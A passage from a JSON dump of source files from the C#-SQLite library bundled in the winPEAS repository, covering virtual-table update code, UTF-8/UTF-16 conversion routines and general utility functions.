create an ephemerial table that contains\n** for each row to be changed:\n**\n**   (A)  The original rowid of that row.\n**   (B)  The revised rowid for the row. (note1)\n**   (C)  The content of every column in the row.\n**\n** Then we loop over this ephemeral table and for each row in\n** the ephermeral table call VUpdate.\n**\n** When finished, drop the ephemeral table.\n**\n** (note1) Actually, if we know in advance that (A) is always the same\n** as (B) we only store (A), then duplicate (A) when pulling\n** it out of the ephemeral table before calling VUpdate.\n*/\nstatic void updateVirtualTable(\nParse pParse,       /* The parsing context */\nSrcList pSrc,       /* The virtual table to be modified */\nTable pTab,         /* The virtual table */\nExprList pChanges,  /* The columns to change in the UPDATE statement */\nExpr pRowid,        /* Expression used to recompute the rowid */\nint aXRef,          /* Mapping from columns of pTab to entries in pChanges */\nExpr pWhere         /* WHERE clause of the UPDATE statement */\n)\n{\nVdbe v = pParse.pVdbe;  /* Virtual machine under construction */\nExprList pEList = 0;     /* The result set of the SELECT statement */\nSelect pSelect = 0;      /* The SELECT statement */\nExpr pExpr;              /* Temporary expression */\nint ephemTab;             /* Table holding the result of the SELECT */\nint i;                    /* Loop counter */\nint addr;                 /* Address of top of loop */\nint iReg;                 /* First register in set passed to OP_VUpdate */\nsqlite3 db = pParse.db; /* Database connection */\nconst char *pVTab = (const char*)sqlite3GetVTable(db, pTab);\nSelectDest dest;\n\n/* Construct the SELECT statement that will find the new values for\n** all updated rows.\n*/\npEList = sqlite3ExprListAppend(pParse, 0,\nsqlite3CreateIdExpr(pParse, \"_rowid_\"));\nif( pRowid ){\npEList = sqlite3ExprListAppend(pParse, pEList,\nsqlite3ExprDup(db, pRowid,0), 0);\n}\nDebug.Assert( pTab.iPKey<0 );\nfor(i=0; i<pTab.nCol; i++){\nif( aXRef[i]>=0 ){\npExpr = sqlite3ExprDup(db, pChanges.a[aXRef[i]].pExpr,0);\n}else{\npExpr = sqlite3CreateIdExpr(pParse, pTab.aCol[i].zName);\n}\npEList = sqlite3ExprListAppend(pParse, pEList, pExpr);\n}\npSelect = sqlite3SelectNew(pParse, pEList, pSrc, pWhere, 0, 0, 0, 0, 0, 0);\n\n/* Create the ephemeral table into which the update results will\n** be stored.\n*/\nDebug.Assert( v );\nephemTab = pParse.nTab++;\nsqlite3VdbeAddOp2(v, OP_OpenEphemeral, ephemTab, pTab.nCol+1+(pRowid!=0));\n\n/* fill the ephemeral table\n*/\nsqlite3SelectDestInit(dest, SRT_Table, ephemTab);\nsqlite3Select(pParse, pSelect, ref dest);\n\n/* Generate code to scan the ephemeral table and call VUpdate. */\niReg = ++pParse.nMem;\npParse.nMem += pTab.nCol+1;\naddr = sqlite3VdbeAddOp2(v, OP_Rewind, ephemTab, 0);\nsqlite3VdbeAddOp3(v, OP_Column,  ephemTab, 0, iReg);\nsqlite3VdbeAddOp3(v, OP_Column, ephemTab, (pRowid\n1:0), iReg+1);\nfor(i=0; i<pTab.nCol; i++){\nsqlite3VdbeAddOp3(v, OP_Column, ephemTab, i+1+(pRowid!=0), iReg+2+i);\n}\nsqlite3VtabMakeWritable(pParse, pTab);\nsqlite3VdbeAddOp4(v, OP_VUpdate, 0, pTab.nCol+2, iReg, pVTab, P4_VTAB);\nsqlite3VdbeAddOp2(v, OP_Next, ephemTab, addr+1);\nsqlite3VdbeJumpHere(v, addr);\nsqlite3VdbeAddOp2(v, OP_Close, ephemTab, 0);\n\n/* Cleanup */\nsqlite3SelectDelete(pSelect);\n}\n#endif // * SQLITE_OMIT_VIRTUALTABLE */\n\n    /* Make sure \"isView\" gets undefined in case this file becomes part of\n** the amalgamation - so that subsequent files do not see isView as a\n** macro. */\n    //#undef isView\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/utf_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2004 April 13\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains routines used to translate between UTF-8,\n    ** UTF-16, UTF-16BE, and UTF-16LE.\n    **\n    ** $Id: utf.c,v 1.73 2009/04/01 18:40:32 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    **\n    ** Notes on UTF-8:\n    **\n    **   Byte-0    Byte-1    Byte-2    Byte-3    Value\n    **  0xxxxxxx                                 00000000 00000000 0xxxxxxx\n    **  110yyyyy  10xxxxxx                       00000000 00000yyy yyxxxxxx\n    **  1110zzzz  10yyyyyy  10xxxxxx             00000000 zzzzyyyy yyxxxxxx\n    **  11110uuu  10uuzzzz  10yyyyyy  10xxxxxx   000uuuuu zzzzyyyy yyxxxxxx\n    **\n    **\n    ** Notes on UTF-16:  (with wwww+1==uuuuu)\n    **\n    **      Word-0               Word-1          Value\n    **  110110ww wwzzzzyy   110111yy yyxxxxxx    000uuuuu zzzzyyyy yyxxxxxx\n    **  zzzzyyyy yyxxxxxx                        00000000 zzzzyyyy yyxxxxxx\n    **\n    **\n    ** BOM or Byte Order Mark:\n    **     0xff 0xfe   little-endian utf-16 follows\n    **     0xfe 0xff   big-endian utf-16 follows\n    **\n    */\n    //#include \"sqliteInt.h\"\n    //#include <assert.h>\n    //#include \"vdbeInt.h\"\n\n#if !SQLITE_AMALGAMATION\n    /*\n** The following constant value is used by the SQLITE_BIGENDIAN and\n** SQLITE_LITTLEENDIAN macros.\n*/\n    //const int sqlite3one = 1;\n#endif //* SQLITE_AMALGAMATION */\n\n    /*\n** This lookup table is used to help decode the first byte of\n** a multi-byte UTF8 character.\n*/\n    static byte[] sqlite3Utf8Trans1 = new byte[]  {\n0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,\n0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,\n0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,\n0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,\n0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,\n0x00, 0x01, 0x02, 0x03, 0x00, 0x01, 0x00, 0x00,\n};\n\n\n    //#define WRITE_UTF8(zOut, c) {                          \\\n    //  if( c<0x00080 ){                                     \\\n    //    *zOut++ = (u8)(c&0xFF);                            \\\n    //  }                                                    \\\n    //  else if( c<0x00800 ){                                \\\n    //    *zOut++ = 0xC0 + (u8)((c>>6)&0x1F);                \\\n    //    *zOut++ = 0x80 + (u8)(c & 0x3F);                   \\\n    //  }                                                    \\\n    //  else if( c<0x10000 ){                                \\\n    //    *zOut++ = 0xE0 + (u8)((c>>12)&0x0F);               \\\n    //    *zOut++ = 0x80 + (u8)((c>>6) & 0x3F);              \\\n    //    *zOut++ = 0x80 + (u8)(c & 0x3F);                   \\\n    //  }else{                                               \\\n    //    *zOut++ = 0xF0 + (u8)((c>>18) & 0x07);             \\\n    //    *zOut++ = 0x80 + (u8)((c>>12) & 0x3F);             \\\n    //    *zOut++ = 0x80 + (u8)((c>>6) & 0x3F);              \\\n    //    *zOut++ = 0x80 + (u8)(c & 0x3F);                   \\\n    //  }                                                    \\\n    //}\n\n    //#define WRITE_UTF16LE(zOut, c) {                                    \\\n    //  if( c<=0xFFFF ){                                                  \\\n    //    *zOut++ = (u8)(c&0x00FF);                                       \\\n    //    *zOut++ = (u8)((c>>8)&0x00FF);                                  \\\n    //  }else{                                                            \\\n    //    *zOut++ = (u8)(((c>>10)&0x003F) + (((c-0x10000)>>10)&0x00C0));  \\\n    //    *zOut++ = (u8)(0x00D8 + (((c-0x10000)>>18)&0x03));              \\\n    //    *zOut++ = (u8)(c&0x00FF);                                       \\\n    //    *zOut++ = (u8)(0x00DC + ((c>>8)&0x03));                         \\\n    //  }                                                                 \\\n    //}\n\n    //#define WRITE_UTF16BE(zOut, c) {                                    \\\n    //  if( c<=0xFFFF ){                                                  \\\n    //    *zOut++ = (u8)((c>>8)&0x00FF);                                  \\\n    //    *zOut++ = (u8)(c&0x00FF);                                       \\\n    //  }else{                                                            \\\n    //    *zOut++ = (u8)(0x00D8 + (((c-0x10000)>>18)&0x03));              \\\n    //    *zOut++ = (u8)(((c>>10)&0x003F) + (((c-0x10000)>>10)&0x00C0));  \\\n    //    *zOut++ = (u8)(0x00DC + ((c>>8)&0x03));                         \\\n    //    *zOut++ = (u8)(c&0x00FF);                                       \\\n    //  }                                                                 \\\n    //}\n\n    //#define READ_UTF16LE(zIn, c){                                         \\\n    //  c = (*zIn++);                                                       \\\n    //  c += ((*zIn++)<<8);                                                 \\\n    //  if( c>=0xD800 && c<0xE000 ){                                       \\\n    //    int c2 = (*zIn++);                                                \\\n    //    c2 += ((*zIn++)<<8);                                              \\\n    //    c = (c2&0x03FF) + ((c&0x003F)<<10) + (((c&0x03C0)+0x0040)<<10);   \\\n    //  }                                                                   \\\n    //}\n\n    //#define READ_UTF16BE(zIn, c){                                         \\\n    //  c = ((*zIn++)<<8);                                                  \\\n    //  c += (*zIn++);                                                      \\\n    //  if( c>=0xD800 && c<0xE000 ){                                       \\\n    //    int c2 = ((*zIn++)<<8);                                           \\\n    //    c2 += (*zIn++);                                                   \\\n    //    c = (c2&0x03FF) + ((c&0x003F)<<10) + (((c&0x03C0)+0x0040)<<10);   \\\n    //  }                                                                   \\\n    //}\n\n    /*\n    ** Translate a single UTF-8 character.  Return the unicode value.\n    **\n    ** During translation, assume that the byte that zTerm points\n    ** is a 0x00.\n    **\n    ** Write a pointer to the next unread byte back into pzNext.\n    **\n    ** Notes On Invalid UTF-8:\n    **\n    **  *  This routine never allows a 7-bit character (0x00 through 0x7f) to\n    **     be encoded as a multi-byte character.  Any multi-byte character that\n    **     attempts to encode a value between 0x00 and 0x7f is rendered as 0xfffd.\n    **\n    **  *  This routine never allows a UTF16 surrogate value to be encoded.\n    **     If a multi-byte character attempts to encode a value between\n    **     0xd800 and 0xe000 then it is rendered as 0xfffd.\n    **\n    **  *  Bytes in the range of 0x80 through 0xbf which occur as the first\n    **     byte of a character are interpreted as single-byte characters\n    **     and rendered as themselves even though they are technically\n    **     invalid characters.\n    **\n    **  *  This routine accepts an infinite number of different UTF8 encodings\n    **     for unicode values 0x80 and greater.  It do not change over-length\n    **     encodings to 0xfffd as some systems recommend.\n    */\n    //#define READ_UTF8(zIn, zTerm, c)                           \\\n    //  c = *(zIn++);                                            \\\n    //  if( c>=0xc0 ){                                           \\\n    //    c = sqlite3Utf8Trans1[c-0xc0];                          \\\n    //    while( zIn!=zTerm && (*zIn & 0xc0)==0x80 ){            \\\n    //      c = (c<<6) + (0x3f & *(zIn++));                      \\\n    //    }                                                      \\\n    //    if( c<0x80                                             \\\n    //        || (c&0xFFFFF800)==0xD800                          \\\n    //        || (c&0xFFFFFFFE)==0xFFFE ){  c = 0xFFFD; }        \\\n    //  }\n    static int sqlite3Utf8Read(\n    string zIn,          /* First byte of UTF-8 character */\n    ref string pzNext   /* Write first byte past UTF-8 char here */\n    )\n    {\n      //int c;\n      /* Same as READ_UTF8() above but without the zTerm parameter.\n      ** For this routine, we assume the UTF8 string is always zero-terminated.\n      */\n      if ( zIn == null || zIn.Length == 0 ) return 0;\n      //c = *( zIn++ );\n      //if ( c >= 0xc0 )\n      //{\n      //  c = sqlite3Utf8Trans1[c - 0xc0];\n      //  while ( ( *zIn & 0xc0 ) == 0x80 )\n      //  {\n      //    c = ( c << 6 ) + ( 0x3f & *( zIn++ ) );\n      //  }\n      //  if ( c < 0x80\n      //      || ( c & 0xFFFFF800 ) == 0xD800\n      //      || ( c & 0xFFFFFFFE ) == 0xFFFE ) { c = 0xFFFD; }\n      //}\n      //*pzNext = zIn;\n      int zIndex = 0;\n      int c = zIn[zIndex++];\n      if ( c >= 0xc0 )\n      {\n        if ( c > 0xff ) c = 0;\n        else\n        {\n          c = sqlite3Utf8Trans1[c - 0xc0];\n          while ( zIndex != zIn.Length && ( zIn[zIndex] & 0xc0 ) == 0x80 )\n          {\n            c = ( c << 6 ) + ( 0x3f & zIn[zIndex++] );\n          }\n          if ( c < 0x80\n          || ( c & 0xFFFFF800 ) == 0xD800\n          || ( c & 0xFFFFFFFE ) == 0xFFFE ) { c = 0xFFFD; }\n        }\n      } pzNext = zIn.Substring( zIndex );\n      return c;\n    }\n\n\n\n    /*\n    ** If the TRANSLATE_TRACE macro is defined, the value of each Mem is\n    ** printed on stderr on the way into and out of sqlite3VdbeMemTranslate().\n    */\n    /* #define TRANSLATE_TRACE 1 */\n\n#if ! SQLITE_OMIT_UTF16\n\n/*\n** This routine transforms the internal text encoding used by pMem to\n** desiredEnc. It is an error if the string is already of the desired\n** encoding, or if pMem does not contain a string value.\n*/\nstatic int sqlite3VdbeMemTranslate(Mem pMem, int desiredEnc){\nint len;                    /* Maximum length of output string in bytes */\nDebugger.Break (); // TODO -\n//unsigned char *zOut;                  /* Output buffer */\n//unsigned char *zIn;                   /* Input iterator */\n//unsigned char *zTerm;                 /* End of input */\n//unsigned char *z;                     /* Output iterator */\n//unsigned int c;\n\nDebug.Assert( pMem.db==null || sqlite3_mutex_held(pMem.db.mutex) );\nDebug.Assert( (pMem.flags&MEM_Str )!=0);\nDebug.Assert( pMem.enc!=desiredEnc );\nDebug.Assert( pMem.enc!=0 );\nDebug.Assert( pMem.n>=0 );\n\n#if TRANSLATE_TRACE && SQLITE_DEBUG\n{\nchar zBuf[100];\nsqlite3VdbeMemPrettyPrint(pMem, zBuf);\nfprintf(stderr, \"INPUT:  %s\\n\", zBuf);\n}\n#endif\n\n/* If the translation is between UTF-16 little and big endian, then\n** all that is required is to swap the byte order. This case is handled\n** differently from the others.\n*/\nDebugger.Break (); // TODO -\n//if( pMem->enc!=SQLITE_UTF8 && desiredEnc!=SQLITE_UTF8 ){\n//  u8 temp;\n//  int rc;\n//  rc = sqlite3VdbeMemMakeWriteable(pMem);\n//  if( rc!=SQLITE_OK ){\n//    Debug.Assert( rc==SQLITE_NOMEM );\n//    return SQLITE_NOMEM;\n//  }\n//  zIn = (u8*)pMem.z;\n//  zTerm = &zIn[pMem->n&~1];\n//  while( zIn<zTerm ){\n//    temp = *zIn;\n//    *zIn = *(zIn+1);\n//    zIn++;\n//    *zIn++ = temp;\n//  }\n//  pMem->enc = desiredEnc;\n//  goto translate_out;\n//}\n\n/* Set len to the maximum number of bytes required in the output buffer. */\nif( desiredEnc==SQLITE_UTF8 ){\n/* When converting from UTF-16, the maximum growth results from\n** translating a 2-byte character to a 4-byte UTF-8 character.\n** A single byte is required for the output string\n** nul-terminator.\n*/\npMem->n &= ~1;\nlen = pMem.n * 2 + 1;\n}else{\n/* When converting from UTF-8 to UTF-16 the maximum growth is caused\n** when a 1-byte UTF-8 character is translated into a 2-byte UTF-16\n** character. Two bytes are required in the output buffer for the\n** nul-terminator.\n*/\nlen = pMem.n * 2 + 2;\n}\n\n/* Set zIn to point at the start of the input buffer and zTerm to point 1\n** byte past the end.\n**\n** Variable zOut is set to point at the output buffer, space obtained\n** from sqlite3Malloc().\n*/\nDebugger.Break (); // TODO -\n//zIn = (u8*)pMem.z;\n//zTerm = &zIn[pMem->n];\n//zOut = sqlite3DbMallocRaw(pMem->db, len);\n//if( !zOut ){\n//  return SQLITE_NOMEM;\n//}\n//z = zOut;\n\n//if( pMem->enc==SQLITE_UTF8 ){\n//  if( desiredEnc==SQLITE_UTF16LE ){\n//    /* UTF-8 -> UTF-16 Little-endian */\n//    while( zIn<zTerm ){\n///* c = sqlite3Utf8Read(zIn, zTerm, (const u8**)&zIn); */\n//READ_UTF8(zIn, zTerm, c);\n//      WRITE_UTF16LE(z, c);\n//    }\n//  }else{\n//    Debug.Assert( desiredEnc==SQLITE_UTF16BE );\n//    /* UTF-8 -> UTF-16 Big-endian */\n//    while( zIn<zTerm ){\n///* c = sqlite3Utf8Read(zIn, zTerm, (const u8**)&zIn); */\n//READ_UTF8(zIn, zTerm, c);\n//      WRITE_UTF16BE(z, c);\n//    }\n//  }\n//  pMem->n = (int)(z - zOut);\n//  *z++ = 0;\n//}else{\n//  Debug.Assert( desiredEnc==SQLITE_UTF8 );\n//  if( pMem->enc==SQLITE_UTF16LE ){\n//    /* UTF-16 Little-endian -> UTF-8 */\n//    while( zIn<zTerm ){\n//      READ_UTF16LE(zIn, c);\n//      WRITE_UTF8(z, c);\n//    }\n//  }else{\n//    /* UTF-16 Big-endian -> UTF-8 */\n//    while( zIn<zTerm ){\n//      READ_UTF16BE(zIn, c);\n//      WRITE_UTF8(z, c);\n//    }\n//  }\n//  pMem->n = (int)(z - zOut);\n//}\n//*z = 0;\n//Debug.Assert( (pMem->n+(desiredEnc==SQLITE_UTF8?1:2))<=len );\n\n//sqlite3VdbeMemRelease(pMem);\n//pMem->flags &= ~(MEM_Static|MEM_Dyn|MEM_Ephem);\n//pMem->enc = desiredEnc;\n//pMem->flags |= (MEM_Term|MEM_Dyn);\n//pMem.z = (char*)zOut;\n//pMem.zMalloc = pMem.z;\n\ntranslate_out:\n#if TRANSLATE_TRACE && SQLITE_DEBUG\n{\nchar zBuf[100];\nsqlite3VdbeMemPrettyPrint(pMem, zBuf);\nfprintf(stderr, \"OUTPUT: %s\\n\", zBuf);\n}\n#endif\nreturn SQLITE_OK;\n}\n\n/*\n** This routine checks for a byte-order mark at the beginning of the\n** UTF-16 string stored in pMem. If one is present, it is removed and\n** the encoding of the Mem adjusted. This routine does not do any\n** byte-swapping, it just sets Mem.enc appropriately.\n**\n** The allocation (static, dynamic etc.) and encoding of the Mem may be\n** changed by this function.\n*/\nstatic int sqlite3VdbeMemHandleBom(Mem pMem){\nint rc = SQLITE_OK;\nint bom = 0;\nbyte[] b01 = new byte[2];\nEncoding.Unicode.GetBytes( pMem.z, 0, 1,b01,0 );\nassert( pMem->n>=0 );\nif( pMem->n>1 ){\n//  u8 b1 = *(u8 *)pMem.z;\n//  u8 b2 = *(((u8 *)pMem.z) + 1);\nif( b01[0]==0xFE && b01[1]==0xFF ){//  if( b1==0xFE && b2==0xFF ){\nbom = SQLITE_UTF16BE;\n}\nif( b01[0]==0xFF && b01[1]==0xFE ){  //  if( b1==0xFF && b2==0xFE ){\nbom = SQLITE_UTF16LE;\n}\n}\n\nif( bom!=0 ){\nrc = sqlite3VdbeMemMakeWriteable(pMem);\nif( rc==SQLITE_OK ){\npMem.n -= 2;\nDebugger.Break (); // TODO -\n//memmove(pMem.z, pMem.z[2], pMem.n);\n//pMem.z[pMem.n] = '\\0';\n//pMem.z[pMem.n+1] = '\\0';\npMem.flags |= MEM_Term;\npMem.enc = bom;\n}\n}\nreturn rc;\n}\n#endif // * SQLITE_OMIT_UTF16 */\n\n    /*\n** pZ is a UTF-8 encoded unicode string. If nByte is less than zero,\n** return the number of unicode characters in pZ up to (but not including)\n** the first 0x00 byte. If nByte is not less than zero, return the\n** number of unicode characters in the first nByte of pZ (or up to\n** the first 0x00, whichever comes first).\n*/\n    static int sqlite3Utf8CharLen( string zIn, int nByte )\n    {\n      //int r = 0;\n      //string z = zIn;\n      if ( zIn.Length == 0 ) return 0;\n      int zInLength = zIn.Length;\n      int zTerm = ( nByte >= 0 && nByte <= zInLength ) ? nByte : zInLength;\n      ////Debug.Assert( z<=zTerm );\n      //for ( int i = 0 ; i < zTerm ; i++ )      //while( *z!=0 && z<zTerm ){\n      //{\n      //  SQLITE_SKIP_UTF8( ref z);//  SQLITE_SKIP_UTF8(z);\n      //  r++;\n      //}\n      //return r;\n      if ( zTerm == zInLength )\n        return zInLength - ( zIn[zTerm - 1] == 0 ? 1 : 0 );\n      else\n        return nByte;\n    }\n\n    /* This test function is not currently used by the automated test-suite.\n    ** Hence it is only available in debug builds.\n    */\n#if SQLITE_TEST && SQLITE_DEBUG\n    /*\n** Translate UTF-8 to UTF-8.\n**\n** This has the effect of making sure that the string is well-formed\n** UTF-8.  Miscoded characters are removed.\n**\n** The translation is done in-place (since it is impossible for the\n** correct UTF-8 encoding to be longer than a malformed encoding).\n*/\n    //int sqlite3Utf8To8(unsigned char *zIn){\n    //  unsigned char *zOut = zIn;\n    //  unsigned char *zStart = zIn;\n    //  u32 c;\n\n    //  while( zIn[0] ){\n    //    c = sqlite3Utf8Read(zIn, (const u8**)&zIn);\n    //    if( c!=0xfffd ){\n    //      WRITE_UTF8(zOut, c);\n    //    }\n    //  }\n    //  *zOut = 0;\n    //  return (int)(zOut - zStart);\n    //}\n#endif\n\n#if ! SQLITE_OMIT_UTF16\n/*\n** Convert a UTF-16 string in the native encoding into a UTF-8 string.\n** Memory to hold the UTF-8 string is obtained from sqlite3Malloc and must\n** be freed by the calling function.\n**\n** NULL is returned if there is an allocation error.\n*/\nstatic string sqlite3Utf16to8(sqlite3 db, string z, int nByte){\nDebugger.Break (); // TODO -\nMem m = new Mem();\n//  memset(&m, 0, sizeof(m));\n//  m.db = db;\n//  sqlite3VdbeMemSetStr(&m, z, nByte, SQLITE_UTF16NATIVE, SQLITE_STATIC);\n//  sqlite3VdbeChangeEncoding(&m, SQLITE_UTF8);\n//  if( db.mallocFailed !=0{\n//    sqlite3VdbeMemRelease(&m);\n//    m.z = 0;\n//  }\n//  Debug.Assert( (m.flags & MEM_Term)!=0 || db.mallocFailed !=0);\n//  Debug.Assert( (m.flags & MEM_Str)!=0 || db.mallocFailed !=0);\nreturn m.z;// ( m.flags & MEM_Dyn ) != 0 ? m.z : sqlite3DbStrDup( db, m.z );\n}\n\n/*\n** pZ is a UTF-16 encoded unicode string. If nChar is less than zero,\n** return the number of bytes up to (but not including), the first pair\n** of consecutive 0x00 bytes in pZ. If nChar is not less than zero,\n** then return the number of bytes in the first nChar unicode characters\n** in pZ (or up until the first pair of 0x00 bytes, whichever comes first).\n*/\nint sqlite3Utf16ByteLen(const void *zIn, int nChar){\nint c;\nunsigned char const *z = zIn;\nint n = 0;\nif( SQLITE_UTF16NATIVE==SQLITE_UTF16BE ){\n/* Using an \"if (SQLITE_UTF16NATIVE==SQLITE_UTF16BE)\" construct here\n** and in other parts of this file means that at one branch will\n** not be covered by coverage testing on any single host. But coverage\n** will be complete if the tests are run on both a little-endian and\n** big-endian host. Because both the UTF16NATIVE and SQLITE_UTF16BE\n** macros are constant at compile time the compiler can determine\n** which branch will be followed. It is therefore assumed that no runtime\n** penalty is paid for this \"if\" statement.\n*/\nwhile( n<nChar ){\nREAD_UTF16BE(z, c);\nn++;\n}\n}else{\nwhile( n<nChar ){\nREAD_UTF16LE(z, c);\nn++;\n}\n}\nreturn (int)(z-(unsigned char const *)zIn);\n}\n\n#if SQLITE_TEST\n/*\n** This routine is called from the TCL test function \"translate_selftest\".\n** It checks that the primitives for serializing and deserializing\n** characters in each encoding are inverses of each other.\n*/\n/*\n** This routine is called from the TCL test function \"translate_selftest\".\n** It checks that the primitives for serializing and deserializing\n** characters in each encoding are inverses of each other.\n*/\nvoid sqlite3UtfSelfTest(void){\nunsigned int i, t;\nunsigned char zBuf[20];\nunsigned char *z;\nint n;\nunsigned int c;\n\nfor(i=0; i<0x00110000; i++){\nz = zBuf;\nWRITE_UTF8(z, i);\nn = (int)(z-zBuf);\nassert( n>0 && n<=4 );\nz[0] = 0;\nz = zBuf;\nc = sqlite3Utf8Read(z, (const u8**)&z);\nt = i;\nif( i>=0xD800 && i<=0xDFFF ) t = 0xFFFD;\nif( (i&0xFFFFFFFE)==0xFFFE ) t = 0xFFFD;\nassert( c==t );\nassert( (z-zBuf)==n );\n}\nfor(i=0; i<0x00110000; i++){\nif( i>=0xD800 && i<0xE000 ) continue;\nz = zBuf;\nWRITE_UTF16LE(z, i);\nn = (int)(z-zBuf);\nassert( n>0 && n<=4 );\nz[0] = 0;\nz = zBuf;\nREAD_UTF16LE(z, c);\nassert( c==i );\nassert( (z-zBuf)==n );\n}\nfor(i=0; i<0x00110000; i++){\nif( i>=0xD800 && i<0xE000 ) continue;\nz = zBuf;\nWRITE_UTF16BE(z, i);\nn = (int)(z-zBuf);\nassert( n>0 && n<=4 );\nz[0] = 0;\nz = zBuf;\nREAD_UTF16BE(z, c);\nassert( c==i );\nassert( (z-zBuf)==n );\n}\n}\n#endif // * SQLITE_TEST */\n#endif // * SQLITE_OMIT_UTF16 */\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/util_c.cs",
    "content": "using System;\nusing System.Diagnostics;\nusing System.Text;\nusing i64 = System.Int64;\n\nusing u8 = System.Byte;\nusing u32 = System.UInt32;\nusing u64 = System.UInt64;\n\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  using sqlite_int64 = System.Int64;\n\n  public partial class CSSQLite\n  {\n    /*\n    ** 2001 September 15\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** Utility functions used throughout sqlite.\n    **\n    ** This file contains functions for allocating memory, comparing\n    ** strings, and stuff like that.\n    **\n    ** $Id: util.c,v 1.262 2009/07/28 16:44:26 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include <stdarg.h>\n#if SQLITE_HAVE_ISNAN\n//# include <math.h>\n#endif\n\n\n    /*\n** Routine needed to support the testcase() macro.\n*/\n#if SQLITE_COVERAGE_TEST\nvoid sqlite3Coverage(int x){\nstatic int dummy = 0;\ndummy += x;\n}\n#endif\n\n    /*\n** Return true if the floating point value is Not a Number (NaN).\n**\n** Use the math library isnan() function if compiled with SQLITE_HAVE_ISNAN.\n** Otherwise, we have our own implementation that works on most systems.\n*/\n    static bool sqlite3IsNaN( double x )\n    {\n      bool rc;   /* The value return */\n#if !(SQLITE_HAVE_ISNAN)\n      /*\n** Systems that support the isnan() library function should probably\n** make use of it by compiling with -DSQLITE_HAVE_ISNAN.  But we have\n** found that many systems do not have a working isnan() function so\n** this implementation is provided as an alternative.\n**\n** This NaN test sometimes fails if compiled on GCC with -ffast-math.\n** On the other hand, the use of -ffast-math comes with the following\n** warning:\n**\n**      This option [-ffast-math] should never be turned on by any\n**      -O option since it can result in incorrect output for programs\n**      which depend on an exact implementation of IEEE or ISO\n**      rules/specifications for math functions.\n**\n** Under MSVC, this NaN test may fail if compiled with a floating-\n** point precision mode other than /fp:precise.  From the MSDN\n** documentation:\n**\n**      The compiler [with /fp:precise] will properly handle comparisons\n**      involving NaN. For example, x != x evaluates to true if x is NaN\n**      ...\n*/\n#if __FAST_MATH__\n# error SQLite will not work correctly with the -ffast-math option of GCC.\n#endif\n      double y = x;\n      double z = y;\n      rc = ( y != z );\n#else  //* if defined(SQLITE_HAVE_ISNAN) */\nrc = isnan(x);\n#endif //* SQLITE_HAVE_ISNAN */\n      testcase( rc );\n      return rc;\n    }\n\n\n    /*\n    ** Compute a string length that is limited to what can be stored in\n    ** lower 30 bits of a 32-bit signed integer.\n    **\n    ** The value returned will never be negative.  Nor will it ever be greater\n    ** than the actual length of the string.  For very long strings (greater\n    ** than 1GiB) the value returned might be less than the true string length.\n    */\n    static int sqlite3Strlen30( int z )\n    {\n      return 0x3fffffff & z;\n    }\n    static int sqlite3Strlen30( StringBuilder z )\n    {\n      //const char *z2 = z;\n      if ( z == null ) return 0;\n      //while( *z2 ){ z2++; }\n      //return 0x3fffffff & (int)(z2 - z);\n      return 0x3fffffff & z.Length;\n    }\n    static int sqlite3Strlen30( string z )\n    {\n      //const char *z2 = z;\n      if ( z == null ) return 0;\n      //while( *z2 ){ z2++; }\n      //return 0x3fffffff & (int)(z2 - z);\n      return 0x3fffffff & z.Length;\n    }\n\n\n    /*\n    ** Set the most recent error code and error string for the sqlite\n    ** handle \"db\". The error code is set to \"err_code\".\n    **\n    ** If it is not NULL, string zFormat specifies the format of the\n    ** error string in the style of the printf functions: The following\n    ** format characters are allowed:\n    **\n    **      %s      Insert a string\n    **      %z      A string that should be freed after use\n    **      %d      Insert an integer\n    **      %T      Insert a token\n    **      %S      Insert the first element of a SrcList\n    **\n    ** zFormat and any string tokens that follow it are assumed to be\n    ** encoded in UTF-8.\n    **\n    ** To clear the most recent error for sqlite handle \"db\", sqlite3Error\n    ** should be called with err_code set to SQLITE_OK and zFormat set\n    ** to NULL.\n    */\n    //Overloads\n    static void sqlite3Error( sqlite3 db, int err_code, int noString )\n    { sqlite3Error( db, err_code, err_code == 0 ?null :\"\"); }\n\n    static void sqlite3Error( sqlite3 db, int err_code, string zFormat, params object[] ap )\n    {\n      if ( db != null && ( db.pErr != null || ( db.pErr = sqlite3ValueNew( db ) ) != null ) )\n      {\n        db.errCode = err_code;\n        if ( zFormat != null )\n        {\n          string z;\n          va_start( ap, zFormat );\n          z = sqlite3VMPrintf( db, zFormat, ap );\n          va_end( ap );\n          sqlite3ValueSetStr( db.pErr, -1, z, SQLITE_UTF8, (dxDel)SQLITE_DYNAMIC );\n        }\n        else\n        {\n          sqlite3ValueSetStr( db.pErr, 0, null, SQLITE_UTF8, SQLITE_STATIC );\n        }\n      }\n    }\n\n    /*\n    ** Add an error message to pParse.zErrMsg and increment pParse.nErr.\n    ** The following formatting characters are allowed:\n    **\n    **      %s      Insert 